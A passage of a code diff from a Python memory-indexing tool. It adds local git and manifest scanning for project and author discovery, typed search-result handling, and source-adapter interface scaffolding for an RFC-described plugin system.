+MANIFEST_PARSERS = {
+    "package.json": _parse_package_json,
+    "pyproject.toml": _parse_pyproject,
+    "Cargo.toml": _parse_cargo,
+    "go.mod": _parse_gomod,
+}
+
+
+# ==================== GIT HELPERS ====================
+
+
+def _run_git(cwd: Path, *args: str, timeout: int = GIT_TIMEOUT) -> str:
+    try:
+        r = subprocess.run(
+            ["git", "-C", str(cwd), *args],
+            capture_output=True,
+            text=True,
+            timeout=timeout,
+            check=False,
+        )
+        return r.stdout if r.returncode == 0 else ""
+    except (OSError, subprocess.SubprocessError):
+        return ""
+
+
+def _git_user_identity(repo: Path) -> tuple[str, str]:
+    """Return (name, email) for this repo, falling back to global config."""
+    name = _run_git(repo, "config", "user.name", timeout=2).strip()
+    email = _run_git(repo, "config", "user.email", timeout=2).strip()
+    return name, email
+
+
+def _global_git_identity() -> tuple[str, str]:
+    try:
+        n = subprocess.run(
+            ["git", "config", "--global", "user.name"],
+            capture_output=True,
+            text=True,
+            timeout=2,
+            check=False,
+        ).stdout.strip()
+        e = subprocess.run(
+            ["git", "config", "--global", "user.email"],
+            capture_output=True,
+            text=True,
+            timeout=2,
+            check=False,
+        ).stdout.strip()
+        return n, e
+    except (OSError, subprocess.SubprocessError):
+        return "", ""
+
+
+def _git_authors(repo: Path) -> list[tuple[str, str]]:
+    out = _run_git(
+        repo,
+        "log",
+        f"--max-count={MAX_COMMITS_PER_REPO}",
+        "--format=%aN|%aE",
+    )
+    result = []
+    for line in out.splitlines():
+        if "|" in line:
+            name, email = line.split("|", 1)
+            result.append((name.strip(), email.strip()))
+    return result
+
+
+# ==================== BOT / NAME FILTERING ====================
+
+
+_BOT_NAME_PATTERNS = [
+    r"\[bot\]",
+    r"^dependabot",
+    r"^renovate",
+    r"^github-actions",
+    r"^actions-user",
+    r"-bot$",
+    r"\bbot$",  # catches "PR Bot", "Release Bot", etc. Not "robot" (no \b)
+    r"^bot-",
+    r"^snyk",
+    r"^greenkeeper",
+    r"^semantic-release",
+    r"^allcontributors",
+    r"-autoroll$",
+    r"^auto-format",
+    r"^pre-commit-ci",
+]
+_BOT_EMAIL_PATTERNS = [
+    # `@users.noreply.github.com` is GitHub's privacy-protected human email —
+    # do NOT filter it. Real bots identify themselves via the display name
+    # (usually containing "[bot]"), which is caught by _BOT_NAME_PATTERNS.
+    r"bot@",
+    r"-bot@",
+    r"\[bot\]@",
+]
+
+_BOT_RE_NAMES = [re.compile(p) for p in _BOT_NAME_PATTERNS]
+_BOT_RE_EMAILS = [re.compile(p) for p in _BOT_EMAIL_PATTERNS]
+
+
+def _is_bot(name: str, email: str) -> bool:
+    ln, le = name.lower(), email.lower()
+    return any(rx.search(ln) for rx in _BOT_RE_NAMES) or any(rx.search(le) for rx in _BOT_RE_EMAILS)
+
+
+def _looks_like_real_name(name: str) -> bool:
+    """Heuristic: a human's name has a space and at least two title-cased parts.
+
+    Filters out handles (lowercase, digits, one-token usernames).
+    """
+    if not name or " " not in name:
+        return False
+    parts = name.split()
+    if len(parts) < 2:
+        return False
+    # First and last parts must start with an uppercase letter
+    return parts[0][:1].isupper() and parts[-1][:1].isupper()
+
+
+# ==================== DIRECTORY WALK ====================
+
+
+def _walk(root: Path, max_depth: int = MAX_DEPTH):
+    for dirpath, dirs, files in os.walk(root):
+        dirs[:] = [d for d in dirs if d not in SKIP_DIRS and not d.startswith(".")]
+        rel = Path(dirpath).relative_to(root)
+        depth = 0 if rel == Path(".") else len(rel.parts)
+        if depth > max_depth:
+            dirs.clear()
+            continue
+        yield Path(dirpath), dirs, files
+
+
+def _has_git_marker(path: Path) -> bool:
+    git_path = path / ".git"
+    return git_path.is_dir() or git_path.is_file()
+
+
+def _manifest_sort_key(entry: tuple[str, str, Path], repo_root: Path) -> tuple[int, int, str]:
+    """Sort manifests by shallowest path first, then known manifest priority,
+    then lexicographic path for deterministic tie-breaking.
+    """
+    manifest_file, _project_name, manifest_dir = entry
+    try:
+        rel = manifest_dir.relative_to(repo_root)
+        depth = len(rel.parts)
+        rel_str = rel.as_posix()
+    except ValueError:
+        depth = MAX_DEPTH + 1
+        rel_str = manifest_dir.as_posix()
+    return (depth, MANIFEST_PRIORITY.get(manifest_file, UNKNOWN_MANIFEST_PRIORITY), rel_str)
+
+
+def find_git_repos(root: Path, max_depth: int = MAX_DEPTH) -> list[Path]:
+    """Return git repo roots under `root` (including root itself if it's a repo)."""
+    root = root.resolve()
+    repos: list[Path] = []
+    if _has_git_marker(root):
+        # Root is a repo — still walk for nested repos (submodules, etc.)
+        repos.append(root)
+    for dirpath, dirs, _ in _walk(root, max_depth):
+        if dirpath == root:
+            continue
+        if _has_git_marker(dirpath):
+            repos.append(dirpath)
+            dirs.clear()  # don't descend into this repo's contents from here
+    return repos
+
+
+def _collect_manifest_names(repo_root: Path) -> list[tuple[str, str, Path]]:
+    """Return (manifest_filename, project_name, dirpath) within a repo.
+
+    Does not descend into nested git repos.
+    """
+    found: list[tuple[str, str, Path]] = []
+    for dirpath, dirs, files in _walk(repo_root):
+        if dirpath != repo_root and _has_git_marker(dirpath):
+            dirs.clear()
+            continue
+        for fname in files:
+            parser = MANIFEST_PARSERS.get(fname)
+            if not parser:
+                continue
+            name = parser(dirpath / fname)
+            if name:
+                found.append((fname, name, dirpath))
+    return sorted(found, key=lambda entry: _manifest_sort_key(entry, repo_root))
+
+
+# ==================== MAIN SCAN ====================
+
+
+class _UnionFind:
+    """Minimal union-find for (name, email) identity resolution."""
+
+    def __init__(self) -> None:
+        self.parent: dict = {}
+
+    def find(self, x):
+        if x not in self.parent:
+            self.parent[x] = x
+            return x
+        root = x
+        while self.parent[root] != root:
+            root = self.parent[root]
+        while self.parent[x] != root:
+            self.parent[x], x = root, self.parent[x]
+        return root
+
+    def union(self, a, b) -> None:
+        ra, rb = self.find(a), self.find(b)
+        if ra != rb:
+            self.parent[ra] = rb
+
+
+def _dedupe_people(
+    all_commits: list[tuple[str, str, str]],
+) -> dict[str, PersonInfo]:
+    """Group commits by identity. Two commits are the same person if they
+    share a name OR an email. Display name = most frequent non-bot variant.
+
+    ``all_commits`` is a list of (name, email, repo_str) triples from every repo.
+    """
+    uf = _UnionFind()
+    for name, email, _repo in all_commits:
+        uf.union(("name", name), ("email", email) if email else ("name", name))
+
+    # Aggregate by component root
+    component_commits: dict = {}
+    for name, email, repo in all_commits:
+        key = uf.find(("name", name))
+        entry = component_commits.setdefault(
+            key, {"name_counts": {}, "emails": set(), "repos": set(), "total": 0}
+        )
+        entry["name_counts"][name] = entry["name_counts"].get(name, 0) + 1
+        if email:
+            entry["emails"].add(email)
+        entry["repos"].add(repo)
+        entry["total"] += 1
+
+    # Pick display name per component: the most-frequent variant that looks
+    # like a real name; fall back to most-frequent overall.
+    people: dict[str, PersonInfo] = {}
+    for _key, entry in component_commits.items():
+        candidates = sorted(entry["name_counts"].items(), key=lambda x: -x[1])
+        display = next(
+            (n for n, _ in candidates if _looks_like_real_name(n)),
+            candidates[0][0],
+        )
+        if not _looks_like_real_name(display):
+            continue  # Skip handles and single-token names
+        # If we already have this display (rare — distinct components with the
+        # same chosen display), merge into the existing entry.
+        existing = people.get(display)
+        if existing:
+            existing.total_commits += entry["total"]
+            existing.emails.update(entry["emails"])
+            existing.repos.update(entry["repos"])
+        else:
+            people[display] = PersonInfo(
+                name=display,
+                total_commits=entry["total"],
+                emails=set(entry["emails"]),
+                repos=set(entry["repos"]),
+            )
+    return people
+
+
+def scan(root: str | os.PathLike) -> tuple[list[ProjectInfo], list[PersonInfo]]:
+    """Scan `root` for projects and people. Returns (projects, people) sorted."""
+    root_path = Path(root).expanduser().resolve()
+    if not root_path.is_dir():
+        return [], []
+
+    repos = find_git_repos(root_path)
+
+    # Identify current user from first repo's git config, fall back to global
+    me_name, me_email = "", ""
+    if repos:
+        me_name, me_email = _git_user_identity(repos[0])
+    if not me_name and not me_email:
+        me_name, me_email = _global_git_identity()
+
+    projects: dict[str, ProjectInfo] = {}
+    all_commits: list[tuple[str, str, str]] = []
+
+    for repo in repos:
+        manifests = _collect_manifest_names(repo)
+        if manifests:
+            manifest_file, proj_name, _ = manifests[0]
+        else:
+            manifest_file, proj_name = None, repo.name
+
+        authors = _git_authors(repo)
+        non_bot_authors = [(name, email) for name, email in authors if not _is_bot(name, email)]
+        total_commits = len(non_bot_authors)
+        user_commits = 0
+        author_counts: dict[str, int] = {}
+        for name, email in non_bot_authors:
+            author_counts[name] = author_counts.get(name, 0) + 1
+            all_commits.append((name, email, str(repo)))
+            if (me_name and name == me_name) or (me_email and email == me_email):
+                user_commits += 1
+
+        is_mine = False
+        if user_commits > 0:
+            sorted_authors = sorted(author_counts.items(), key=lambda x: -x[1])
+            top5 = {n for n, _ in sorted_authors[:5]}
+            if me_name and me_name in top5:
+                is_mine = True
+            elif total_commits and user_commits / total_commits >= 0.10:
+                is_mine = True
+            elif user_commits >= 20:
+                is_mine = True
+
+        proj = ProjectInfo(
+            name=proj_name,
+            repo_root=repo,
+            manifest=manifest_file,
+            has_git=True,
+            total_commits=total_commits,
+            user_commits=user_commits,
+            is_mine=is_mine,
+        )
+        existing = projects.get(proj_name)
+        if existing is None or proj.user_commits > existing.user_commits:
+            projects[proj_name] = proj
+
+    people = _dedupe_people(all_commits)
+
+    # Handle case: root has manifests but no git repo anywhere
+    if not repos:
+        manifests = _collect_manifest_names(root_path)
+        for manifest_file, proj_name, _dirpath in manifests:
+            if proj_name in projects:
+                continue
+            projects[proj_name] = ProjectInfo(
+                name=proj_name,
+                repo_root=root_path,
+                manifest=manifest_file,
+                has_git=False,
+            )
+
+    project_list = sorted(
+        projects.values(),
+        key=lambda p: (not p.is_mine, -p.user_commits, -p.total_commits, p.name),
+    )
+    people_list = sorted(people.values(), key=lambda p: -p.total_commits)
+
+    return project_list, people_list
+
+
+# ==================== ADAPTER ====================
+
+
+def to_detected_dict(
+    projects: list[ProjectInfo],
+    people: list[PersonInfo],
+    project_cap: int = 15,
+    people_cap: int = 15,
+) -> dict:
+    """Convert scan results into the dict shape produced by entity_detector.detect_entities."""
+    proj_entries = [
+        {
+            "name": p.name,
+            "type": "project",
+            "confidence": round(p.confidence, 2),
+            "frequency": p.user_commits or p.total_commits,
+            "signals": [p.to_signal()],
+        }
+        for p in projects[:project_cap]
+    ]
+    people_entries = [
+        {
+            "name": p.name,
+            "type": "person",
+            "confidence": round(p.confidence, 2),
+            "frequency": p.total_commits,
+            "signals": [p.to_signal()],
+        }
+        for p in people[:people_cap]
+    ]
+    return {
+        "people": people_entries,
+        "projects": proj_entries,
+        "uncertain": [],
+    }
+
+
+# ==================== MERGE WITH REGEX DETECTOR ====================
+
+
+def _merge_detected(primary: dict, secondary: dict, drop_secondary_uncertain: bool = False) -> dict:
+    """Merge two detected dicts. Primary entries win on name conflict.
+
+    Dedup is case-insensitive so "mempalace" (manifest name) absorbs "MemPalace"
+    (docs/prose reference) instead of surfacing both.
+
+    If ``drop_secondary_uncertain`` is True, the secondary's uncertain bucket is
+    dropped entirely — useful when the primary signal is strong (real repo
+    found) and we'd rather not ask the user to adjudicate prose-regex noise.
+    """
+    seen = {e["name"].lower() for cat in primary.values() for e in cat}
+    merged = {k: list(v) for k, v in primary.items()}
+    for cat_key in ("people", "projects", "uncertain"):
+        if cat_key == "uncertain" and drop_secondary_uncertain:
+            continue
+        for e in secondary.get(cat_key, []):
+            if e["name"].lower() in seen:
+                continue
+            merged.setdefault(cat_key, []).append(e)
+            seen.add(e["name"].lower())
+    return merged
+
+
+def discover_entities(
+    project_dir: str | os.PathLike,
+    languages: tuple = ("en",),
+    prose_file_cap: int = 10,
+    project_cap: int = 15,
+    people_cap: int = 15,
+    llm_provider: object = None,
+    show_progress: bool = True,
+) -> dict:
+    """Top-level entity discovery: real signals first, prose detection second.
+
+    Returns the same dict shape as ``entity_detector.detect_entities`` so it
+    plugs into ``confirm_entities`` unchanged.
+
+    Order of signal preference:
+      1. Package manifests (package.json, pyproject.toml, Cargo.toml, go.mod)
+         → canonical project names
+      2. Git commit authors → real people with real commit counts
+      3. Claude Code conversation dirs (~/.claude/projects/) → per-session
+         project names (pulled from each session's ``cwd`` metadata)
+      4. Regex entity detection on prose files → supplementary names only
+         mentioned in docs/notes (not code)
+      5. Optional LLM refinement pass — reclassifies ambiguous candidates
+         using the caller-supplied provider
+
+    Passing ``llm_provider`` enables phase-2 refinement. The caller is
+    responsible for constructing the provider (``llm_client.get_provider``)
+    and confirming availability. Refinement is blocking-interactive:
+    progress prints to stderr; Ctrl-C returns partial results.
+    """
+    projects, people = scan(project_dir)
+
+    # If the target is a Claude Code conversations root, extract per-project
+    # entries from there too. Same ProjectInfo shape, so dedup logic works.
+    from mempalace.convo_scanner import is_claude_projects_root, scan_claude_projects
+
+    root_path = Path(project_dir).expanduser().resolve()
+    if is_claude_projects_root(root_path):
+        convo_projects = scan_claude_projects(root_path)
+        # Dedup by name against the git-manifest list, preferring entries
+        # with more user_commits as signal strength. Keyed case-insensitively
+        # so a `pyproject.toml` name like `mempalace` and a Claude Code
+        # `cwd` variant like `MemPalace` collapse into one entry — matches
+        # the case-insensitive dedup used in `_merge_detected` and
+        # `miner.add_to_known_entities`.
+        by_name: dict[str, ProjectInfo] = {p.name.lower(): p for p in projects}
+        for cp in convo_projects:
+            key = cp.name.lower()
+            existing = by_name.get(key)
+            if existing is None or cp.user_commits > existing.user_commits:
+                by_name[key] = cp
+        projects = sorted(
+            by_name.values(),
+            key=lambda p: (not p.is_mine, -p.user_commits, -p.total_commits, p.name),
+        )
+
+    real_signal = to_detected_dict(projects, people, project_cap=project_cap, people_cap=people_cap)
+
+    # Secondary pass: prose-only extraction catches names mentioned in docs
+    # that never made a commit (e.g. a stakeholder or family member in notes).
+    from mempalace.entity_detector import detect_entities, scan_for_detection
+
+    prose_files = scan_for_detection(str(project_dir), max_files=prose_file_cap)
+    prose_detected = (
+        detect_entities(prose_files, languages=languages)
+        if prose_files
+        else {"people": [], "projects": [], "uncertain": []}
+    )
+
+    # Without LLM refinement, suppress regex "uncertain" noise when real
+    # manifest/git signal exists. With LLM refinement enabled, keep those
+    # candidates so the model can promote real entities or drop common words.
+    has_real_signal = bool(projects) or bool(people)
+    merged = _merge_detected(
+        real_signal,
+        prose_detected,
+        drop_secondary_uncertain=has_real_signal and llm_provider is None,
+    )
+
+    # Optional phase 2: LLM refinement.
+    if llm_provider is not None:
+        from mempalace.llm_refine import collect_corpus_text, refine_entities
+
+        corpus = collect_corpus_text(str(project_dir))
+        result = refine_entities(
+            merged,
+            corpus,
+            llm_provider,
+            show_progress=show_progress,
+            allow_project_promotions=not has_real_signal,
+        )
+        if show_progress:
+            status_bits = []
+            if result.cancelled:
+                status_bits.append("cancelled")
+            if result.reclassified:
+                status_bits.append(f"reclassified {result.reclassified}")
+            if result.dropped:
+                status_bits.append(f"dropped {result.dropped}")
+            if result.errors:
+                status_bits.append(f"{len(result.errors)} batch error(s)")
+            if status_bits:
+                import sys as _sys
+
+                print(f"  LLM refine: {', '.join(status_bits)}", file=_sys.stderr)
+        merged = result.merged
+
+    return merged
+
+
+# ==================== CLI ====================
+
+
+if __name__ == "__main__":
+    import sys
+
+    target = sys.argv[1] if len(sys.argv) > 1 else "."
+    projs, ppl = scan(target)
+    print(f"=== PROJECTS ({len(projs)}) ===")
+    for p in projs[:30]:
+        mark = "★" if p.is_mine else " "
+        print(f"  {mark} {p.name:35} conf={p.confidence:.2f}  {p.to_signal()}")
+    print()
+    print(f"=== PEOPLE ({len(ppl)}) ===")
+    for p in ppl[:30]:
+        print(f"    {p.name:30} conf={p.confidence:.2f}  {p.to_signal()}")

mempalace/searcher.py

@@ -30,15 +30,16 @@ class SearchError(Exception):
 _TOKEN_RE = re.compile(r"\w{2,}", re.UNICODE)
 
 
-def _first_or_empty(results: dict, key: str) -> list:
-    """Return the first inner list of a ChromaDB query result, or [].
+def _first_or_empty(results, key: str) -> list:
+    """Return the first inner list of a query result field, or [].
 
-    ChromaDB returns shapes like ``{"documents": [["a", "b"]], ...}`` for a
-    successful query, but ``{"documents": [], ...}`` (empty outer list) when
-    the collection is empty or the filter excludes everything. Indexing
-    ``[0]`` blindly raises IndexError in that case (issue #195).
+    Accepts both the typed :class:`QueryResult` (attribute access) and the
+    pre-typed chroma dict shape; this polymorphism is retained so test mocks
+    still work and callers mid-migration do not crash. Preserves the empty-
+    collection semantics from issue #195: when no queries returned hits, the
+    outer list may be empty and indexing ``[0]`` would raise.
     """
-    outer = results.get(key)
+    outer = getattr(results, key, None) if not isinstance(results, dict) else results.get(key)
     if not outer:
         return []
     return outer[0] or []
@@ -209,7 +210,7 @@ def _expand_with_neighbors(drawers_col, matched_doc: str, matched_meta: dict, ra
         return {"text": matched_doc, "drawer_index": chunk_idx, "total_drawers": None}
 
     indexed_docs = []
-    for doc, meta in zip(neighbors.get("documents") or [], neighbors.get("metadatas") or []):
+    for doc, meta in zip(neighbors.documents, neighbors.metadatas):
         ci = meta.get("chunk_index")
         if isinstance(ci, int):
             indexed_docs.append((ci, doc))
@@ -224,8 +225,7 @@ def _expand_with_neighbors(drawers_col, matched_doc: str, matched_meta: dict, ra
     total_drawers = None
     try:
         all_meta = drawers_col.get(where={"source_file": src}, include=["metadatas"])
-        ids = all_meta.get("ids") or []
-        total_drawers = len(ids) if ids else None
+        total_drawers = len(all_meta.ids) if all_meta.ids else None
     except Exception:
         pass
 
@@ -283,6 +283,7 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
 
     for i, (doc, meta, dist) in enumerate(zip(docs, metas, dists), 1):
         similarity = round(max(0.0, 1 - dist), 3)
+        meta = meta or {}
         source = Path(meta.get("source_file", "?")).name
         wing_name = meta.get("wing", "?")
         room_name = meta.get("room", "?")
@@ -372,6 +373,7 @@ def search_memories(
                 _first_or_empty(closet_results, "distances"),
             )
         ):
+            cmeta = cmeta or {}
             source = cmeta.get("source_file", "")
             if source and source not in closet_boost_by_source:
                 closet_boost_by_source[source] = (rank, cdist, cdoc[:200])
@@ -394,6 +396,7 @@ def search_memories(
         if max_distance > 0.0 and dist > max_distance:
             continue
 
+        meta = meta or {}
         source = meta.get("source_file", "") or ""
         boost = 0.0
         matched_via = "drawer"
@@ -451,8 +454,8 @@ def search_memories(
             )
         except Exception:
             continue
-        docs = source_drawers.get("documents") or []
-        metas_ = source_drawers.get("metadatas") or []
+        docs = source_drawers.documents
+        metas_ = source_drawers.metadatas
         if len(docs) <= 1:
             continue
 

mempalace/sources/__init__.py

@@ -0,0 +1,74 @@
+"""Source adapter subsystem (RFC 002).
+
+Public surface:
+
+* :class:`BaseSourceAdapter` — per-source read-side contract.
+* Typed records: :class:`SourceRef`, :class:`SourceItemMetadata`,
+  :class:`DrawerRecord`, :class:`RouteHint`, :class:`SourceSummary`,
+  :class:`AdapterSchema`, :class:`FieldSpec`.
+* Error classes: :class:`SourceNotFoundError`, :class:`AuthRequiredError`,
+  :class:`AdapterClosedError`, :class:`TransformationViolationError`,
+  :class:`SchemaConformanceError`.
+* Registry: :func:`register`, :func:`get_adapter`, :func:`available_adapters`,
+  :func:`resolve_adapter_for_source`.
+* :class:`PalaceContext` — facade core passes to adapters during ``ingest``.
+* :mod:`transforms` — reference implementations of the reserved §1.4
+  transformations + :func:`get_transformation` resolver.
+"""
+
+from .base import (
+    AdapterClosedError,
+    AdapterSchema,
+    AuthRequiredError,
+    BaseSourceAdapter,
+    DrawerRecord,
+    FieldSpec,
+    IngestMode,
+    IngestResult,
+    RouteHint,
+    SchemaConformanceError,
+    SourceAdapterError,
+    SourceItemMetadata,
+    SourceNotFoundError,
+    SourceRef,
+    SourceSummary,
+    TransformationViolationError,
+)
+from .context import PalaceContext, ProgressHook
+from .registry import (
+    available_adapters,
+    get_adapter,
+    get_adapter_class,
+    register,
+    reset_adapters,
+    resolve_adapter_for_source,
+    unregister,
+)
+
+__all__ = [
+    "AdapterClosedError",
+    "AdapterSchema",
+    "AuthRequiredError",
+    "BaseSourceAdapter",
+    "DrawerRecord",
+    "FieldSpec",
+    "IngestMode",
+    "IngestResult",
+    "PalaceContext",
+    "ProgressHook",
+    "RouteHint",
+    "SchemaConformanceError",
+    "SourceAdapterError",
+    "SourceItemMetadata",
+    "SourceNotFoundError",
+    "SourceRef",
+    "SourceSummary",
+    "TransformationViolationError",
+    "available_adapters",
+    "get_adapter",
+    "get_adapter_class",
+    "register",
+    "reset_adapters",
+    "resolve_adapter_for_source",
+    "unregister",
+]

mempalace/sources/base.py

@@ -0,0 +1,245 @@
+"""Source adapter contract for MemPalace (RFC 002).
+
+Mirrors what ``mempalace/backends/base.py`` does for the write side: it defines
+the read-side surface every source adapter must implement. A source adapter
+extracts content from a specific origin (filesystem, git, Slack, Cursor …) and
+yields typed records (``SourceItemMetadata`` / ``DrawerRecord``) that core
+routes into the palace.
+
+This module is spec scaffolding. The first-party miners (``mempalace/miner.py``
+and ``mempalace/convo_miner.py``) are migrated onto it in a follow-up PR;
+in this PR we publish the contract so third-party adapters can begin building
+against a stable surface.
+
+See ``docs/rfcs/002-source-adapter-plugin-spec.md`` for the authoritative
+spec text.
+"""
+
+from __future__ import annotations
+
+from abc import ABC, abstractmethod
+from dataclasses import dataclass, field
+from typing import TYPE_CHECKING, ClassVar, Iterator, Literal, Optional
+
+if TYPE_CHECKING:
+    from .context import PalaceContext  # noqa: F401  (used in string annotation)
+
+
+# ---------------------------------------------------------------------------
+# Errors
+# ---------------------------------------------------------------------------
+
+
+class SourceAdapterError(Exception):
+    """Base class for every source-adapter error raised by core."""
+
+
+class SourceNotFoundError(SourceAdapterError):
+    """Raised when a ``SourceRef`` does not resolve to a readable source."""
+
+
+class AuthRequiredError(SourceAdapterError):
+    """Raised when an adapter needs credentials that were not provided.
+
+    The message MUST name the env vars (or other supported mechanism) the
+    operator needs to set.
+    """
+
+
+class AdapterClosedError(SourceAdapterError):
+    """Raised when an adapter method is called after ``close()``."""
+
+
+class TransformationViolationError(SourceAdapterError):
+    """Raised by the conformance suite when round-tripping a drawer requires
+    an undeclared transformation (RFC 002 §7.2–7.3)."""
+
+
+class SchemaConformanceError(SourceAdapterError):
+    """Raised when a ``DrawerRecord.metadata`` violates the adapter schema
+    returned by :meth:`BaseSourceAdapter.describe_schema`."""
+
+
+# ---------------------------------------------------------------------------
+# Value objects
+# ---------------------------------------------------------------------------
+
+
+@dataclass(frozen=True)
+class SourceRef:
+    """A handle to the source a user wants to ingest.
+
+    ``local_path`` is for filesystem-rooted sources (project dir, mbox file).
+    ``uri`` is for URL-like references (``github.com/org/repo``,
+    ``slack://workspace/channel``).
+    ``options`` carries adapter-specific non-secret config. Secrets MUST NOT
+    be placed here; see §4.2.
+    """
+
+    local_path: Optional[str] = None
+    uri: Optional[str] = None
+    options: dict = field(default_factory=dict)
+
+
+@dataclass(frozen=True)
+class RouteHint:
+    """Adapter-supplied routing hint (RFC 002 §2.5)."""
+
+    wing: Optional[str] = None
+    room: Optional[str] = None
+    hall: Optional[str] = None
+
+
+@dataclass(frozen=True)
+class SourceItemMetadata:
+    """Lightweight pointer yielded before drawers for lazy-fetch adapters.
+
+    Core inspects ``version`` via :meth:`BaseSourceAdapter.is_current` to
+    decide whether to skip extraction; an adapter that responds positively
+    stops yielding drawers for this item and moves to the next.
+    """
+
+    source_file: str
+    version: str
+    size_hint: Optional[int] = None
+    route_hint: Optional[RouteHint] = None
+
+
+@dataclass(frozen=True)
+class DrawerRecord:
+    """One drawer's worth of extracted content plus flat metadata.
+
+    ``metadata`` values MUST be flat scalars (``str``/``int``/``float``/``bool``)
+    per RFC 001 §1.4 — the chroma constraint. Nested data belongs on the
+    knowledge graph (§5.5) or in a declared ``json_string`` field (§5.4).
+    """
+
+    content: str
+    source_file: str
+    chunk_index: int = 0
+    metadata: dict = field(default_factory=dict)
+    route_hint: Optional[RouteHint] = None
+
+
+@dataclass(frozen=True)
+class SourceSummary:
+    """High-level description of a source returned by :meth:`source_summary`."""
+
+    description: str
+    item_count: Optional[int] = None
+
+
+IngestMode = Literal["chunked_content", "whole_record", "metadata_only"]
+
+
+@dataclass(frozen=True)
+class FieldSpec:
+    """Declared shape of a single per-adapter metadata field (§5.2)."""
+
+    type: Literal["string", "int", "float", "bool", "delimiter_joined_string", "json_string"]
+    required: bool
+    description: str
+    indexed: bool = False
+    delimiter: str = ";"
+    json_schema: Optional[dict] = None
+
+
+@dataclass(frozen=True)
+class AdapterSchema:
+    """The per-adapter metadata schema returned by :meth:`describe_schema`."""
+
+    fields: dict[str, FieldSpec]
+    version: str
+
+
+# The union type adapters yield from ``ingest``.
+IngestResult = object  # intentionally broad; runtime checks in core
+
+
+# ---------------------------------------------------------------------------
+# Adapter contract
+# ---------------------------------------------------------------------------
+
+
+class BaseSourceAdapter(ABC):
+    """Long-lived adapter serving many ``SourceRef`` invocations (RFC 002 §2).
+
+    Instances are lightweight on construction — no I/O, no network, no
+    credential fetch. All work is deferred to :meth:`ingest`. Instances are
+    thread-safe for concurrent ``ingest`` calls across different ``SourceRef``
+    values (v1 serializes within a single ``SourceRef``).
+
+    Class attributes form the adapter's identity contract:
+
+    * ``name`` — stable adapter name used for registration and drawer metadata.
+    * ``adapter_version`` — adapter's own version, independent of
+      ``spec_version``. Recorded on every drawer so re-extract workflows can
+      target drawers from a known-buggy adapter version.
+    * ``capabilities`` — free-form tokens; core inspects a documented subset.
+    * ``supported_modes`` — subset of ``chunked_content``, ``whole_record``,
+      ``metadata_only``.
+    * ``declared_transformations`` — set of transformation names the adapter
+      applies to source bytes. The empty set marks a byte-preserving adapter.
+    * ``default_privacy_class`` — privacy class level (§6) applied unless the
+      palace config overrides it.
+    """
+
+    name: ClassVar[str]
+    spec_version: ClassVar[str] = "1.0"
+    adapter_version: ClassVar[str] = "0.0.0"
+    capabilities: ClassVar[frozenset[str]] = frozenset()
+    supported_modes: ClassVar[frozenset[str]] = frozenset({"chunked_content"})
+    declared_transformations: ClassVar[frozenset[str]] = frozenset()
+    default_privacy_class: ClassVar[str] = "pii_potential"
+
+    # ------------------------------------------------------------------
+    # Required methods
+    # ------------------------------------------------------------------
+
+    @abstractmethod
+    def ingest(
+        self,
+        *,
+        source: SourceRef,
+        palace: "PalaceContext",
+    ) -> Iterator[IngestResult]:
+        """Enumerate and extract content from a source.
+
+        Yields a stream of ``SourceItemMetadata`` and ``DrawerRecord`` values.
+        Lazy adapters yield ``SourceItemMetadata`` ahead of the drawers for
+        that item so core can check :meth:`is_current` before committing to
+        the fetch. Eager adapters MAY interleave freely.
+        """
+
+    @abstractmethod
+    def describe_schema(self) -> AdapterSchema:
+        """Declare the structured metadata this adapter attaches.
+
+        The returned schema MUST be stable for a given ``adapter_version``.
+        Enterprises index on it; core uses it to validate adapter output.
+        """
+
+    # ------------------------------------------------------------------
+    # Optional methods with default implementations
+    # ------------------------------------------------------------------
+
+    def is_current(
+        self,
+        *,
+        item: SourceItemMetadata,
+        existing_metadata: Optional[dict],
+    ) -> bool:
+        """Return True if the palace already has an up-to-date copy of ``item``.
+
+        Default: always returns False (re-extract every time). Adapters
+        advertising ``supports_incremental`` MUST override.
+        """
+        return False
+
+    def source_summary(self, *, source: SourceRef) -> SourceSummary:
+        """Describe a source without extracting."""
+        return SourceSummary(description=self.name)
+
+    def close(self) -> None:
+        """Release any resources the adapter holds. Default: no-op."""
+        return None

mempalace/sources/context.py

@@ -0,0 +1,142 @@
+"""``PalaceContext`` facade passed to source adapters (RFC 002 §9).
+
+Bundles the palace-side surface an adapter needs during :meth:`ingest`:
+drawer collection, closet collection, knowledge graph, palace config, and
+progress hooks. Adapters receive a ``PalaceContext`` instance and MUST NOT
+import ``mempalace.palace`` directly — that coupling is what the facade
+exists to prevent.
+
+This module publishes the shape third-party adapters target. Core's mine
+loop will construct a concrete ``PalaceContext`` and pass it to adapters
+when the filesystem/conversations miners are migrated onto ``BaseSourceAdapter``
+in a follow-up PR; until then, no in-tree code constructs one, but the
+contract is stable.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+from typing import Any, Callable, Optional, Protocol
+
+from .base import DrawerRecord
+
+
+class _CollectionLike(Protocol):
+    """Minimum of :class:`mempalace.backends.BaseCollection` adapters rely on.
+
+    Declared as a Protocol so tests and third-party adapters can substitute
+    any object with compatible method signatures without importing the
+    concrete backend. See ``mempalace/backends/base.py`` for the full surface.
+    """
+
+    def add(self, **kwargs: Any) -> None: ...
+    def upsert(self, **kwargs: Any) -> None: ...
+    def query(self, **kwargs: Any) -> Any: ...
+    def get(self, **kwargs: Any) -> Any: ...
+    def delete(self, **kwargs: Any) -> None: ...
+    def count(self) -> int: ...
+
+
+class _KnowledgeGraphLike(Protocol):
+    def add_triple(self, subject: str, predicate: str, obj: str, **kwargs: Any) -> Any: ...
+
+
+# Progress hook signature: ``fn(event_name, **details) -> None``.
+ProgressHook = Callable[..., None]
+
+
+@dataclass
+class PalaceContext:
+    """Per-mine-invocation facade passed to :meth:`BaseSourceAdapter.ingest`.
+
+    Fields:
+        drawer_collection: The palace's drawer collection (via RFC 001 backend).
+        closet_collection: The palace's closet collection, or ``None`` if the
+            palace has no closets yet. Adapters should not write to this
+            directly; core builds closets post-step (RFC 002 §1.7).
+        knowledge_graph: The palace's SQLite knowledge graph. Adapters
+            advertising ``supports_kg_triples`` call ``add_triple`` on it.
+        palace_path: Filesystem root of the palace (convenience; same as
+            ``backend.PalaceRef.local_path``).
+        config: Palace config object (hall keywords, rooms list, privacy
+            floor, etc.). Shape is the existing :class:`MempalaceConfig`.
+        adapter_name: Name of the adapter currently ingesting; populated by
+            core so drawers can carry ``metadata["adapter_name"]``.
+        adapter_version: Version of the adapter currently ingesting.
+        progress_hooks: Optional callables core invokes on progress events.
+
+    Methods are intentionally thin wrappers so the concrete mine loop in
